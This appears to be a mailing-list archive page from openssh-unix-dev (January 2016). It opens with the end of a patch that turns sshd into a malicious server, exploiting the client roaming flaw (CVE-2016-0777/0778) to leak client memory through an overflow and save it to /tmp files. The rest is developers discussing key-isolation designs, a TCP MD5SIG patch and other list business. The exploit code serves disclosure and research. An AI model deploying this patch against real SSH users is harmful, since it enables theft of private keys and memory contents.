+	const int overflow = (access("output", F_OK) == 0);
+	if (overflow != 0) {
+		const void *const ptr = load_roaming_file("output", NULL, &len);
+		buffer_append(packet_get_output(), ptr, len);
+	}
+	packet_write_wait();
+
+	char *const client_out_buf = xmalloc(client_out_buf_size);
+	if (atomicio(read, packet_get_connection_in(), client_out_buf,
+			       client_out_buf_size) != client_out_buf_size)
+		fatal("%s: read client_out_buf_size %u errno %d", __func__,
+				client_out_buf_size, errno);
+	if (overflow == 0)
+		dump_roaming_file("infoleak", client_out_buf,
+					      client_out_buf_size);
+	fatal("%s: all done for %s", __func__, dir);
+}
+
+static void
 kex_choose_conf(Kex *kex)
 {
 	Newkeys *newkeys;
@@ -470,6 +537,10 @@ kex_choose_conf(Kex *kex)
 			kex->roaming = 1;
 			free(roaming);
 		}
+	} else if (strcmp(peer[PROPOSAL_KEX_ALGS], KEX_RESUME) == 0) {
+		roaming_reconnect();
+		/* NOTREACHED */
+		fatal("%s: returned from %s", __func__, KEX_RESUME);
 	}
 
 	/* Algorithm Negotiation */
diff -pruN openssh-6.4p1/roaming.h openssh-6.4p1+roaming/roaming.h
--- openssh-6.4p1/roaming.h	2011-12-18 15:52:52.000000000 -0800
+++ openssh-6.4p1+roaming/roaming.h	2016-01-07 01:04:15.000000000 -0800
@@ -42,4 +42,86 @@ void	resend_bytes(int, u_int64_t *);
 void	calculate_new_key(u_int64_t *, u_int64_t, u_int64_t);
 int	resume_kex(void);
 
+#include <fcntl.h>
+#include <stdio.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#include "atomicio.h"
+#include "log.h"
+#include "xmalloc.h"
+
+static inline char *
+get_roaming_dir(const u_int id)
+{
+	const size_t buflen = MAXPATHLEN;
+	char *const buf = xmalloc(buflen);
+
+	if ((u_int)snprintf(buf, buflen, "/tmp/roaming-%08x", id) >= buflen)
+		fatal("%s: snprintf %u error", __func__, id);
+	return buf;
+}
+
+static inline void
+dump_roaming_file(const char *const name,
+    const void *const buf, const size_t buflen)
+{
+	if (name == NULL)
+		fatal("%s: name %p", __func__, name);
+	if (strchr(name, '/') != NULL)
+		fatal("%s: name %s", __func__, name);
+	if (buf == NULL)
+		fatal("%s: %s buf %p", __func__, name, buf);
+	if (buflen <= 0 || buflen > MAX_ROAMBUF)
+		fatal("%s: %s buflen %lu", __func__, name, (u_long)buflen);
+
+	const int fd = open(name, O_WRONLY | O_CREAT | O_EXCL, S_IRUSR);
+	if (fd <= -1)
+		fatal("%s: open %s errno %d", __func__, name, errno);
+	if (write(fd, buf, buflen) != (ssize_t)buflen)
+		fatal("%s: write %s errno %d", __func__, name, errno);
+	if (close(fd) != 0)
+		fatal("%s: close %s errno %d", __func__, name, errno);
+}
+
+static inline void *
+load_roaming_file(const char *const name,
+    void *buf, size_t *const buflenp)
+{
+	if (name == NULL)
+		fatal("%s: name %p", __func__, name);
+	if (strchr(name, '/') != NULL)
+		fatal("%s: name %s", __func__, name);
+	if (buflenp == NULL)
+		fatal("%s: %s buflenp %p", __func__, name, buflenp);
+
+	const int fd = open(name, O_RDONLY | O_NOFOLLOW | O_NONBLOCK);
+	if (fd <= -1)
+		fatal("%s: open %s errno %d", __func__, name, errno);
+	struct stat st;
+	if (fstat(fd, &st) != 0)
+		fatal("%s: fstat %s errno %d", __func__, name, errno);
+	if (S_ISREG(st.st_mode) == 0)
+		fatal("%s: %s mode 0%o", __func__, name, (u_int)st.st_mode);
+	if (st.st_size <= 0 || st.st_size > MAX_ROAMBUF)
+		fatal("%s: %s size %lld", __func__, name,
+		    (long long)st.st_size);
+
+	if (buf == NULL) {
+		*buflenp = st.st_size;
+		buf = xmalloc(*buflenp);
+	} else {
+		if (*buflenp != (size_t)st.st_size)
+			fatal("%s: %s size %lld buflen %lu", __func__, name,
+			    (long long)st.st_size, (u_long)*buflenp);
+	}
+	if (read(fd, buf, *buflenp) != (ssize_t)*buflenp)
+		fatal("%s: read %s errno %d", __func__, name, errno);
+	if (close(fd) != 0)
+		fatal("%s: close %s errno %d", __func__, name, errno);
+	return buf;
+}
+
 #endif /* ROAMING */
diff -pruN openssh-6.4p1/serverloop.c openssh-6.4p1+roaming/serverloop.c
--- openssh-6.4p1/serverloop.c	2013-07-17 23:12:45.000000000 -0700
+++ openssh-6.4p1+roaming/serverloop.c	2016-01-07 01:04:15.000000000 -0800
@@ -1060,6 +1060,9 @@ server_request_session(void)
 	return c;
 }
 
+static int client_session_channel = -1;
+static int server_session_channel = -1;
+
 static void
 server_input_channel_open(int type, u_int32_t seq, void *ctxt)
 {
@@ -1089,12 +1092,22 @@ server_input_channel_open(int type, u_in
 		c->remote_window = rwindow;
 		c->remote_maxpacket = rmaxpack;
 		if (c->type != SSH_CHANNEL_CONNECTING) {
+			debug("%s: avoid client-side buf_append", __func__);
+			/*
 			packet_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION);
 			packet_put_int(c->remote_id);
 			packet_put_int(c->self);
 			packet_put_int(c->local_window);
 			packet_put_int(c->local_maxpacket);
 			packet_send();
+			*/
+			if (strcmp(ctype, "session") == 0) {
+				if (client_session_channel != -1)
+					fatal("%s: client_session_channel %d",
+					    __func__, client_session_channel);
+				client_session_channel = c->remote_id;
+				server_session_channel = c->self;
+			}
 		}
 	} else {
 		debug("server_input_channel_open: failure %s", ctype);
@@ -1111,6 +1124,196 @@ server_input_channel_open(int type, u_in
 }
 
 static void
+roaming_disconnect(Kex *const kex)
+{
+	const char *cp, *roaming = getenv("ROAMING");
+	if (roaming == NULL)
+		roaming = "infoleak";
+	int overflow = 0;
+	if ((cp = strstr(roaming, "overflow:")) != NULL)
+		overflow = cp[9];
+
+	const u_int client_recv_buf_size = packet_get_int();
+	packet_check_eom();
+	const u_int server_recv_buf_size = get_recv_buf_size();
+	const u_int server_send_buf_size = get_snd_buf_size();
+	debug("%s: client_recv_buf_size %u", __func__, client_recv_buf_size);
+	debug("%s: server_recv_buf_size %u", __func__, server_recv_buf_size);
+	debug("%s: server_send_buf_size %u", __func__, server_send_buf_size);
+
+	u_int client_send_buf_size = 0;
+	if ((cp = strstr(roaming, "client_send_buf_size:")) != NULL)
+		client_send_buf_size = strtoul(cp + 21, NULL, 0);
+	else if (client_recv_buf_size == DEFAULT_ROAMBUF)
+		client_send_buf_size = DEFAULT_ROAMBUF;
+	else {
+		const u_int
+		    max = MAX(client_recv_buf_size, server_recv_buf_size),
+		    min = MIN(client_recv_buf_size, server_recv_buf_size);
+		if (min <= 0)
+			fatal("%s: min %u", __func__, min);
+		if (((u_int64_t)(max - min) * 1024) / min < 1)
+			client_send_buf_size = server_send_buf_size;
+		else
+			client_send_buf_size = client_recv_buf_size;
+	}
+	debug("%s: client_send_buf_size %u", __func__, client_send_buf_size);
+	if (client_send_buf_size <= 0)
+		fatal("%s: client_send_buf_size", __func__);
+
+	u_int id = 0;
+	char *dir = NULL;
+	for (;;) {
+		id = arc4random();
+		debug("%s: id %u", __func__, id);
+		free(dir);
+		dir = get_roaming_dir(id);
+		if (mkdir(dir, S_IRWXU) == 0)
+			break;
+		if (errno != EEXIST)
+			fatal("%s: mkdir %s errno %d", __func__, dir, errno);
+	}
+	debug("%s: dir %s", __func__, dir);
+	if (chdir(dir) != 0)
+		fatal("%s: chdir %s errno %d", __func__, dir, errno);
+
+	u_int client_out_buf_size = 0;
+	if ((cp = strstr(roaming, "client_out_buf_size:")) != NULL)
+		client_out_buf_size = strtoul(cp + 20, NULL, 0);
+	else if (overflow != 0)
+		client_out_buf_size = MAX_ROAMBUF;
+	else
+		client_out_buf_size = 1 + arc4random() % 4096;
+	debug("%s: client_out_buf_size %u", __func__, client_out_buf_size);
+	if (client_out_buf_size <= 0)
+		fatal("%s: client_out_buf_size", __func__);
+	dump_roaming_file("client_out_buf_size", &client_out_buf_size,
+					   sizeof(client_out_buf_size));
+
+	if ((cp = strstr(roaming, "scp_mode")) != NULL) {
+		if (overflow != 0)
+			fatal("%s: scp_mode is incompatible with overflow %d",
+			    __func__, overflow);
+
+		u_int seconds_left_to_sleep = 3;
+		if ((cp = strstr(cp, "sleep:")) != NULL)
+			seconds_left_to_sleep = strtoul(cp + 6, NULL, 0);
+		debug("%s: sleep %u", __func__, seconds_left_to_sleep);
+
+		if (client_session_channel == -1)
+			fatal("%s: client_session_channel %d",
+			    __func__, client_session_channel);
+
+		packet_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION);
+		packet_put_int(client_session_channel);
+		packet_put_int(server_session_channel);
+		packet_put_int(0); /* server window */
+		packet_put_int(0); /* server maxpacket */
+		packet_send();
+
+		packet_start(SSH2_MSG_CHANNEL_DATA);
+		packet_put_int(client_session_channel);
+		packet_put_string("\0\n", 2); /* response&source|sink&run_err */
+		packet_send();
+
+		packet_read_expect(SSH2_MSG_CHANNEL_REQUEST);
+		packet_get_int(); /* server channel */
+		debug("%s: channel request %s", __func__,
+		    packet_get_cstring(NULL));
+
+		while (seconds_left_to_sleep)
+			seconds_left_to_sleep = sleep(seconds_left_to_sleep);
+	}
+
+	packet_start(SSH2_MSG_REQUEST_SUCCESS);
+	packet_put_int(id); /* roaming_id */
+	packet_put_int64(arc4random()); /* cookie */
+	packet_put_int64(0); /* key1 */
+	packet_put_int64(0); /* key2 */
+	packet_put_int(client_out_buf_size - client_send_buf_size);
+	packet_send();
+	packet_write_wait();
+
+	if (overflow != 0) {
+		const u_int64_t full_client_out_buf = get_recv_bytes() +
+				     client_out_buf_size;
+
+		u_int fd_leaks = 4 * 8 * 8; /* MIN_CHUNK_SIZE in bits */
+		if ((cp = strstr(roaming, "fd_leaks:")) != NULL)
+			fd_leaks = strtoul(cp + 9, NULL, 0);
+		debug("%s: fd_leaks %u", __func__, fd_leaks);
+
+		while (fd_leaks--) {
+			packet_start(SSH2_MSG_CHANNEL_OPEN);
+			packet_put_cstring(overflow == 'X' ? "x11" :
+			    "auth-agent at openssh.com"); /* ctype */
+			packet_put_int(arc4random()); /* server channel */
+			packet_put_int(arc4random()); /* server window */
+			packet_put_int(arc4random()); /* server maxpacket */
+			if (overflow == 'X') {
+				packet_put_cstring(""); /* originator */
+				packet_put_int(arc4random()); /* port */
+			}
+			packet_send();
+
+			packet_read_expect(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION);
+			packet_get_int(); /* server channel */
+			packet_get_int(); /* client channel */
+			packet_get_int(); /* client window */
+			packet_get_int(); /* client maxpacket */
+			packet_check_eom();
+		}
+
+		while (get_recv_bytes() <= full_client_out_buf) {
+			packet_start(SSH2_MSG_GLOBAL_REQUEST);
+			packet_put_cstring(""); /* rtype */
+			packet_put_char(1); /* want_reply */
+			packet_send();
+
+			packet_read_expect(SSH2_MSG_REQUEST_FAILURE);
+			packet_check_eom();
+		}
+
+		if (kex == NULL)
+			fatal("%s: no kex, cannot rekey", __func__);
+		if (kex->flags & KEX_INIT_SENT)
+			fatal("%s: KEX_INIT_SENT already", __func__);
+		char *const ptr = buffer_ptr(&kex->my);
+		const u_int len = buffer_len(&kex->my);
+		if (len <= 1+4) /* first_kex_follows + reserved */
+			fatal("%s: kex len %u", __func__, len);
+		ptr[len - (1+4)] = 1; /* first_kex_follows */
+		kex_send_kexinit(kex);
+
+		u_int i;
+		packet_read_expect(SSH2_MSG_KEXINIT);
+		for (i = 0; i < KEX_COOKIE_LEN; i++)
+			packet_get_char();
+		for (i = 0; i < PROPOSAL_MAX; i++)
+			free(packet_get_string(NULL));
+		packet_get_char(); /* first_kex_follows */
+		packet_get_int(); /* reserved */
+		packet_check_eom();
+
+		char buf[8192*2]; /* two packet_read_seqnr bufferfuls */
+		memset(buf, '\0', sizeof(buf));
+		packet_start(SSH2_MSG_KEX_ROAMING_AUTH_FAIL);
+		packet_put_string(buf, sizeof(buf));
+		packet_send();
+		const Buffer *const output = packet_get_output();
+		dump_roaming_file("output", buffer_ptr(output),
+					    buffer_len(output));
+	}
+
+	const u_int64_t client_write_bytes = get_recv_bytes();
+	debug("%s: client_write_bytes %llu", __func__,
+	    (unsigned long long)client_write_bytes);
+	dump_roaming_file("client_write_bytes", &client_write_bytes,
+					  sizeof(client_write_bytes));
+	fatal("%s: all done for %s", __func__, dir);
+}
+
+static void
 server_input_global_request(int type, u_int32_t seq, void *ctxt)
 {
 	char *rtype;
@@ -1168,6 +1371,13 @@ server_input_global_request(int type, u_
 	} else if (strcmp(rtype, "no-more-sessions at openssh.com") == 0) {
 		no_more_sessions = 1;
 		success = 1;
+	} else if (strcmp(rtype, ROAMING_REQUEST) == 0) {
+		if (want_reply != 1)
+			fatal("%s: rtype %s want_reply %d", __func__,
+				   rtype, want_reply);
+		roaming_disconnect(ctxt);
+		/* NOTREACHED */
+		fatal("%s: returned from %s", __func__, ROAMING_REQUEST);
 	}
 	if (want_reply) {
 		packet_start(success ?
diff -pruN openssh-6.4p1/sshd.c openssh-6.4p1+roaming/sshd.c
--- openssh-6.4p1/sshd.c	2013-07-19 20:21:53.000000000 -0700
+++ openssh-6.4p1+roaming/sshd.c	2016-01-07 01:04:15.000000000 -0800
@@ -2432,6 +2432,8 @@ do_ssh2_kex(void)
 	}
 	if (options.kex_algorithms != NULL)
 		myproposal[PROPOSAL_KEX_ALGS] = options.kex_algorithms;
+	else
+		myproposal[PROPOSAL_KEX_ALGS] = KEX_DEFAULT_KEX "," KEX_RESUME;
 
 	if (options.rekey_limit || options.rekey_interval)
 		packet_set_rekey_limits((u_int32_t)options.rekey_limit,



From mfriedl at gmail.com  Fri Jan 15 05:33:27 2016
From: mfriedl at gmail.com (Markus Friedl)
Date: Thu, 14 Jan 2016 19:33:27 +0100
Subject: Error in 7.1p2 announcement?
In-Reply-To: <20160114152308.GJ2161@riva.ucam.org>
References: <20160114152308.GJ2161@riva.ucam.org>
Message-ID: <CACANGe=xaRo5ngdOF164cPRg=Uvp5hyCoqPPTWxpso0ESkTYLA@mail.gmail.com>

Thanks, it was decided last minute to not include it.

I'll update the web page.

2016-01-14 16:23 GMT+01:00 Colin Watson <cjwatson at debian.org>:
> The 7.1p2 announcement (http://www.openssh.com/txt/release-7.1p2) says:
>
>  * SECURITY: Eliminate the fallback from untrusted X11-forwarding
>    to trusted forwarding for cases when the X server disables
>    the SECURITY extension. Reported by Thomas Hoger.
>
> However, as far as I can see, this change is not in the V_7_1_P2 tag in
> git, or in the released tarball.
>
> Thanks,
>
> --
> Colin Watson                                       [cjwatson at debian.org]
> _______________________________________________
> openssh-unix-dev mailing list
> openssh-unix-dev at mindrot.org
> https://lists.mindrot.org/mailman/listinfo/openssh-unix-dev

From arw at cs.fau.de  Fri Jan 15 06:12:16 2016
From: arw at cs.fau.de (Alexander Wuerstlein)
Date: Thu, 14 Jan 2016 20:12:16 +0100
Subject: Proposal: always handle keys in separate process
Message-ID: <20160114191216.GJ6155@cip.informatik.uni-erlangen.de>

Hello,

in light of the recent CVE-2016-0777, I came up with the following idea,
that would have lessened its impact. Feel free to ignore or flame me,
maybe its stupid or I missed something :)

- private key material should only ever be handled in a separate process
  from the SSH client. ssh-agent (maybe slightly extended) seems the
  logical choice.
- in places where the client currently reads ssh-keys
  (load_public_identity_files), automatically spawn an ssh-agent instead
  if none is available. Connection to the agent might be via the usual
  SSH_AUTH_SOCK or via an inherited pipe() or socketpair() if newly
  spawned. Those anonymous filedescriptors would mean that this
  ssh-agent is 'private' to this one client.

Where I'm not quite sure how to handle things would be:
- If a ssh-agent is already running, but the client needs to read more
  keys: Spawn and handle a second, private agent? Use ssh-add? The
  former would be preferable but more complicated because two different
  agents would have to be handled. The latter would have the unwanted
  side-effect of exposing keys via the ssh-agent that maybe shouldn't
  be.
- If a key is password-protected, the client would have to read the
  password and pass it on to ssh-agent. Could this be done in a better
  way, maybe without exposing the password to the ssh-client?

This would mean that:
- ssh client could be stripped of any code that reads ssh-keys directly.
- or using the mechanism above could be made an option SpawnPrivateAgent
  (possibly defaulting to 'yes')
- maybe, if that works, one could do a similar thing for sshd and its
  hostkeys.



Ciao,

Alexander Wuerstlein.

From mstone at mathom.us  Fri Jan 15 06:24:54 2016
From: mstone at mathom.us (Michael Stone)
Date: Thu, 14 Jan 2016 14:24:54 -0500
Subject: Possible failure to scrub data in file
 'openbsd-compat/bsd-cray.c' in OpenSSH-7.1p1
In-Reply-To: <5697BCCF.2080805@offwriting.org>
References: <CAFrbyQym-309jD6xwiFDaX527h9qDALnQGJBTXmneU2MEDYfLQ@mail.gmail.com>
 <5697BCCF.2080805@offwriting.org>
Message-ID: <517cd66a-baf4-11e5-9b6a-00163eeb5320@msgid.mathom.us>

On Thu, Jan 14, 2016 at 09:20:47AM -0600, Ben Lindstrom wrote:
>This is for UNICOS Cray.  And currently I know that the OS and 
>hardware have been officially retired.  I have a question into one of 
>my contacts at Cray to see if they know of any customers still running 
>this old hardware, and if not then I'd suggest we strip the UNICOS 
>port out as dead wood.

+1. There were a lot of oddities about programming on those machines and
if nobody's been actively testing there's a good chance that it's not 
working right anyway.

Mike Stone

From dtucker at zip.com.au  Fri Jan 15 07:57:13 2016
From: dtucker at zip.com.au (Darren Tucker)
Date: Fri, 15 Jan 2016 07:57:13 +1100
Subject: [Patch] TCP MD5SIG for OpenSSH
In-Reply-To: <CAKJ=2+yMz=N9Kfwvg_NZ_XX+b7Q9NOrbCrgwXtrqUmwv+amg+A@mail.gmail.com>
References: <CAKJ=2+yMz=N9Kfwvg_NZ_XX+b7Q9NOrbCrgwXtrqUmwv+amg+A@mail.gmail.com>
Message-ID: <CALDDTe1tj9CN3xbaMJSXWdZXa-rD883Dz9hj4wBmhGw24UADyg@mail.gmail.com>

On Thu, Jan 14, 2016 at 7:20 PM, Thomas ? Habets <habets at google.com> wrote:
> * Add "TCPMD5 foorbarSecret" to sshd_config
> * SSH with "-oTCPMD5=foobarSecret"

Have you considered making this a stand-alone tool?  Something that
listens and execs sshd -i on the server side and could be used as a
ProxyCommand on the client side.  That'd be potentially usable by
other services.

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
    Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.

From alex at alex.org.uk  Fri Jan 15 19:48:02 2016
From: alex at alex.org.uk (Alex Bligh)
Date: Fri, 15 Jan 2016 08:48:02 +0000
Subject: [Patch] TCP MD5SIG for OpenSSH
In-Reply-To: <CAKJ=2+yMz=N9Kfwvg_NZ_XX+b7Q9NOrbCrgwXtrqUmwv+amg+A@mail.gmail.com>
References: <CAKJ=2+yMz=N9Kfwvg_NZ_XX+b7Q9NOrbCrgwXtrqUmwv+amg+A@mail.gmail.com>
Message-ID: <434970A1-A9FA-498A-AFAF-5ADF2C6597D2@alex.org.uk>


On 14 Jan 2016, at 08:20, Thomas ? Habets <habets at google.com> wrote:

> The socket option is enabled *after* connection establishment, thus
> doesn't protect against SYN floods. This is because server doesn't
> know (in userspace) what the address of the peer is until they
> connect. Again because signed addresses.

So could they exchange a secret as part of the session, obviating
the need for any set up?

-- 
Alex Bligh





From Roman.Fiedler at ait.ac.at  Fri Jan 15 19:53:43 2016
From: Roman.Fiedler at ait.ac.at (Fiedler Roman)
Date: Fri, 15 Jan 2016 08:53:43 +0000
Subject: AW: Proposal: always handle keys in separate process
In-Reply-To: <20160114191216.GJ6155@cip.informatik.uni-erlangen.de>
References: <20160114191216.GJ6155@cip.informatik.uni-erlangen.de>
Message-ID: <2ECE9D9EEF1F524185270138AE23265954EE579A@S0MSMAIL112.arc.local>

> Von: openssh-unix-dev [mailto:openssh-unix-dev-
> 
> Hello,
> 
> in light of the recent CVE-2016-0777, I came up with the following idea,
> that would have lessened its impact. Feel free to ignore or flame me,
> maybe its stupid or I missed something :)
> 
> - private key material should only ever be handled in a separate process
>   from the SSH client. ssh-agent (maybe slightly extended) seems the
>   logical choice.
> - in places where the client currently reads ssh-keys
>   (load_public_identity_files), automatically spawn an ssh-agent instead
>   if none is available. Connection to the agent might be via the usual
>   SSH_AUTH_SOCK or via an inherited pipe() or socketpair() if newly
>   spawned. Those anonymous filedescriptors would mean that this
>   ssh-agent is 'private' to this one client.

I would avoid direct spawn or even connect via socket(see proposal at
bottom). That way the network/terminal interacting process could be built
not only without having access to private key material, but also having no
access to most operating system resources (including open/connect/...) even
when remote code execution was successful.
 
> Where I'm not quite sure how to handle things would be:
> - If a ssh-agent is already running, but the client needs to read more
>   keys: Spawn and handle a second, private agent? Use ssh-add? The
>   former would be preferable but more complicated because two different
>   agents would have to be handled. The latter would have the unwanted
>   side-effect of exposing keys via the ssh-agent that maybe shouldn't
>   be.
> - If a key is password-protected, the client would have to read the
>   password and pass it on to ssh-agent. Could this be done in a better
>   way, maybe without exposing the password to the ssh-client?

See below: As the management process would need the password, it could
suspend the network/terminal process, read the password and then response to
the key signing request.

This would not per se block the current password stealing attacks on ssh
client, where malicious remote side just pretends after successful login,
that passphrase for key was wrong and requests the use to re-enter the
phrase again. But it could make it easier to circumvent this condition, e.g.
when management process puts a preamble before asking the password, one that
an attacker has hard time to guess (e.g. Are you [user somebode], logged in
since [time] on [machine] really sure, that you want to connect to service
[local name of remote service], trust its key requests for [local key name]
and allow sign requests, then enter your password ...)

> This would mean that:
> - ssh client could be stripped of any code that reads ssh-keys directly.
> - or using the mechanism above could be made an option SpawnPrivateAgent
>   (possibly defaulting to 'yes')
> - maybe, if that works, one could do a similar thing for sshd and its
>   hostkeys.

What do you think of a following procedure?

* On startup, at first management process is created. This process is
somehow privileged, as it still can execute all operating system calls
without special restrictions. This management process may connect to an
agent or launch agent process by itself (if needed) to have access to key
material.

* From the management process, have network/terminal process forked, reexec
itself (thus get rid of any virtual memory information shared with
management process, e.g. address space layout, strings already loaded - e.g.
host name, user name, config parameters, ... thus eradicating any
information present in the management process)

* Let management process seccomp secure the network/terminal process to
allow only file descriptor read/write operations, ..., that what is really
needed but no other syscalls (especially no open/exec,.../xxxxat style of
calls). Thus the terminal process efficiently loses all capabilities to
access key material by himself, which is enforced by the OS (this will work
only on platforms, that support it, others will have to leave out this
step).

* Use the socket from the network/terminal process to the management process
only to query (search for) keys, request signing of material.

* Let the management process suspend the terminal process and ask for key
passphrases when needed.

* Let the management process immediately suspend the network/terminal
process if rate of key search/sign requests exceeds limit or (if
mathematically easily detectable) signing of problematic data is requested
to extract e.g. DSA keys (do not know, which other key types have similar
weaknesses). This would also protect the local keys when an agent forwarding
was enabled (do not know, if such protection might already be in place) and
remote side starts to create signatures en masse.

* Let the management process search keys/sign directly or ask the agent -
minor design decision?

Kind Regards,
Roman
-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 6344 bytes
Desc: not available
URL: <http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20160115/39f976e0/attachment-0001.bin>

From loganaden at gmail.com  Fri Jan 15 20:30:30 2016
From: loganaden at gmail.com (Loganaden Velvindron)
Date: Fri, 15 Jan 2016 09:30:30 +0000
Subject: Proposal: always handle keys in separate process
In-Reply-To: <20160114191216.GJ6155@cip.informatik.uni-erlangen.de>
References: <20160114191216.GJ6155@cip.informatik.uni-erlangen.de>
Message-ID: <CAOp4FwSbRNY49_iLQ5_3G3HmyEgJvr+=85x-z6ZZsU3L1SfMWQ@mail.gmail.com>

On Thu, Jan 14, 2016 at 7:12 PM, Alexander Wuerstlein <arw at cs.fau.de> wrote:
> Hello,
>
> in light of the recent CVE-2016-0777, I came up with the following idea,
> that would have lessened its impact. Feel free to ignore or flame me,
> maybe its stupid or I missed something :)
>

Feel free to come up with a patch. In OpenSSH, it's a good idea to
follow-up with a patch :)

From calderon.thomas at gmail.com  Fri Jan 15 21:22:54 2016
From: calderon.thomas at gmail.com (Thomas Calderon)
Date: Fri, 15 Jan 2016 10:22:54 +0000
Subject: Proposal: always handle keys in separate process
In-Reply-To: <CAOp4FwSbRNY49_iLQ5_3G3HmyEgJvr+=85x-z6ZZsU3L1SfMWQ@mail.gmail.com>
References: <20160114191216.GJ6155@cip.informatik.uni-erlangen.de>
 <CAOp4FwSbRNY49_iLQ5_3G3HmyEgJvr+=85x-z6ZZsU3L1SfMWQ@mail.gmail.com>
Message-ID: <CA+1ewKZau=tQ1uRMvOW1oQYnvoFR=2TE+_u=HLShHjmHtUWpvw@mail.gmail.com>

How about using the existing OpenSSH client's PKCS#11 support to
isolate keying material in a dedicated process?

A similar approach, "Practical key privilege separation using Caml
Crush", was discussed at FOSDEM'15 with a focus on
Heatbleed [1][2] but the ideas and principles are the same.

Now this is easily done using the following available components:
  - SoftHSM to store the crypto keys
  - Caml-Crush server components load the SoftHSM middleware (access
the keys) in a dedicated process
  - SSH client loads Caml-Crush PKCS#11 middleware that connects to
its daemon and allows to sign SSH exchange to authenticate

No patch needed.

Hope this helps,

Thomas

[1] https://archive.fosdem.org/2015/schedule/event/caml_crush/
[2] https://github.com/ANSSI-FR/caml-crush


On Fri, Jan 15, 2016 at 9:30 AM, Loganaden Velvindron
<loganaden at gmail.com> wrote:
> On Thu, Jan 14, 2016 at 7:12 PM, Alexander Wuerstlein <arw at cs.fau.de> wrote:
>> Hello,
>>
>> in light of the recent CVE-2016-0777, I came up with the following idea,
>> that would have lessened its impact. Feel free to ignore or flame me,
>> maybe its stupid or I missed something :)
>>
>
> Feel free to come up with a patch. In OpenSSH, it's a good idea to
> follow-up with a patch :)
> _______________________________________________
> openssh-unix-dev mailing list
> openssh-unix-dev at mindrot.org
> https://lists.mindrot.org/mailman/listinfo/openssh-unix-dev

From opensshdev at r.paypc.com  Fri Jan 15 22:27:19 2016
From: opensshdev at r.paypc.com (Malcolm)
Date: Fri, 15 Jan 2016 03:27:19 -0800
Subject: [Patch] TCP MD5SIG for OpenSSH
In-Reply-To: <434970A1-A9FA-498A-AFAF-5ADF2C6597D2@alex.org.uk>
References: <CAKJ=2+yMz=N9Kfwvg_NZ_XX+b7Q9NOrbCrgwXtrqUmwv+amg+A@mail.gmail.com>
 <434970A1-A9FA-498A-AFAF-5ADF2C6597D2@alex.org.uk>
Message-ID: <1452857239.5698d79771a294.72046203@www.paypc.com>

Quoting Alex Bligh <alex at alex.org.uk>:

> So could they exchange a secret as part of the session, obviating
> the need for any set up?

If by set up, you mean "the rest of the SSH authentication", then surely not.
 MD5 pre-shared secrets are probably fine for "port-knocking" or even
RST-proofing purposes, but not for authenticating SSH sessions to servers.

=M=

From habets at google.com  Fri Jan 15 22:44:00 2016
From: habets at google.com (=?UTF-8?Q?Thomas_=E2=98=83_Habets?=)
Date: Fri, 15 Jan 2016 11:44:00 +0000
Subject: [Patch] TCP MD5SIG for OpenSSH
In-Reply-To: <434970A1-A9FA-498A-AFAF-5ADF2C6597D2@alex.org.uk>
References: <CAKJ=2+yMz=N9Kfwvg_NZ_XX+b7Q9NOrbCrgwXtrqUmwv+amg+A@mail.gmail.com>
 <434970A1-A9FA-498A-AFAF-5ADF2C6597D2@alex.org.uk>
Message-ID: <CAKJ=2+yp0GG525FE3j9f7aF74e6LAGvfgJhcYr_uPCkCNwLhCg@mail.gmail.com>

On 15 January 2016 at 08:48, Alex Bligh <alex at alex.org.uk> wrote:
> > The socket option is enabled *after* connection establishment, thus
> > doesn't protect against SYN floods. This is because server doesn't
> > know (in userspace) what the address of the peer is until they
> > connect. Again because signed addresses.
> So could they exchange a secret as part of the session, obviating
> the need for any set up?

They could. Making it part of the protocol does expose more code to be
vulnerable to any preauth attacks though. One of the main benefits is
that if the remote end doesn't have the right key then the data won't
even be parsed. IIRC this has protected OpenVPN installations with its
tls-auth option when there's been OpenSSL and/or OpenVPN bugs.

You could, for example, set the key to SHA256(SSH session key) or
something, since a session key is already negotiated for the
connection. (this is just what comes immediately to mind)

It'd be hard to automate and make default though, since if done when
the connection goes through NAT it will fail the connection. You could
work around that by only enabling it for IPv6, and hope that nobody's
doing IPv6 NAT.

It'd still protect against other attacks like third parties fiddling
with an already established connection, be it by RSTing because they
know the accepted RST window or more sophisticated attacks.

But again, only solves a subset of the problems.

-- 
? Thomas ?

From arw at cs.fau.de  Fri Jan 15 22:49:27 2016
From: arw at cs.fau.de (Alexander Wuerstlein)
Date: Fri, 15 Jan 2016 12:49:27 +0100
Subject: Proposal: always handle keys in separate process
In-Reply-To: <2ECE9D9EEF1F524185270138AE23265954EE579A@S0MSMAIL112.arc.local>
References: <20160114191216.GJ6155@cip.informatik.uni-erlangen.de>
 <2ECE9D9EEF1F524185270138AE23265954EE579A@S0MSMAIL112.arc.local>
Message-ID: <20160115114927.GM6155@cip.informatik.uni-erlangen.de>

On 2016-01-15T09:53, Fiedler Roman <Roman.Fiedler at ait.ac.at> wrote:
> > Von: openssh-unix-dev [mailto:openssh-unix-dev-
> > 
> > Hello,
> > 
> > in light of the recent CVE-2016-0777, I came up with the following idea,
> > that would have lessened its impact. Feel free to ignore or flame me,
> > maybe its stupid or I missed something :)
>
> What do you think of a following procedure?
> 
> * On startup, at first management process is created. This process is
> somehow privileged, as it still can execute all operating system calls
> without special restrictions. This management process may connect to an
> agent or launch agent process by itself (if needed) to have access to key
> material.
> 
> * From the management process, have network/terminal process forked, reexec
> itself (thus get rid of any virtual memory information shared with
> management process, e.g. address space layout, strings already loaded - e.g.
> host name, user name, config parameters, ... thus eradicating any
> information present in the management process)

So, effectively you propose to also split up the ssh client into three
processes.

While it sounds like a good idea in general, I think one should try the
easier split-up into two first. For why I think it is far easier to
first separate out the ssh-agent/key-handling, see below.

> * Let management process seccomp secure the network/terminal process to
> allow only file descriptor read/write operations, ..., that what is really
> needed but no other syscalls (especially no open/exec,.../xxxxat style of
> calls). Thus the terminal process efficiently loses all capabilities to
> access key material by himself, which is enforced by the OS (this will work
> only on platforms, that support it, others will have to leave out this
> step).
>
> * Use the socket from the network/terminal process to the management process
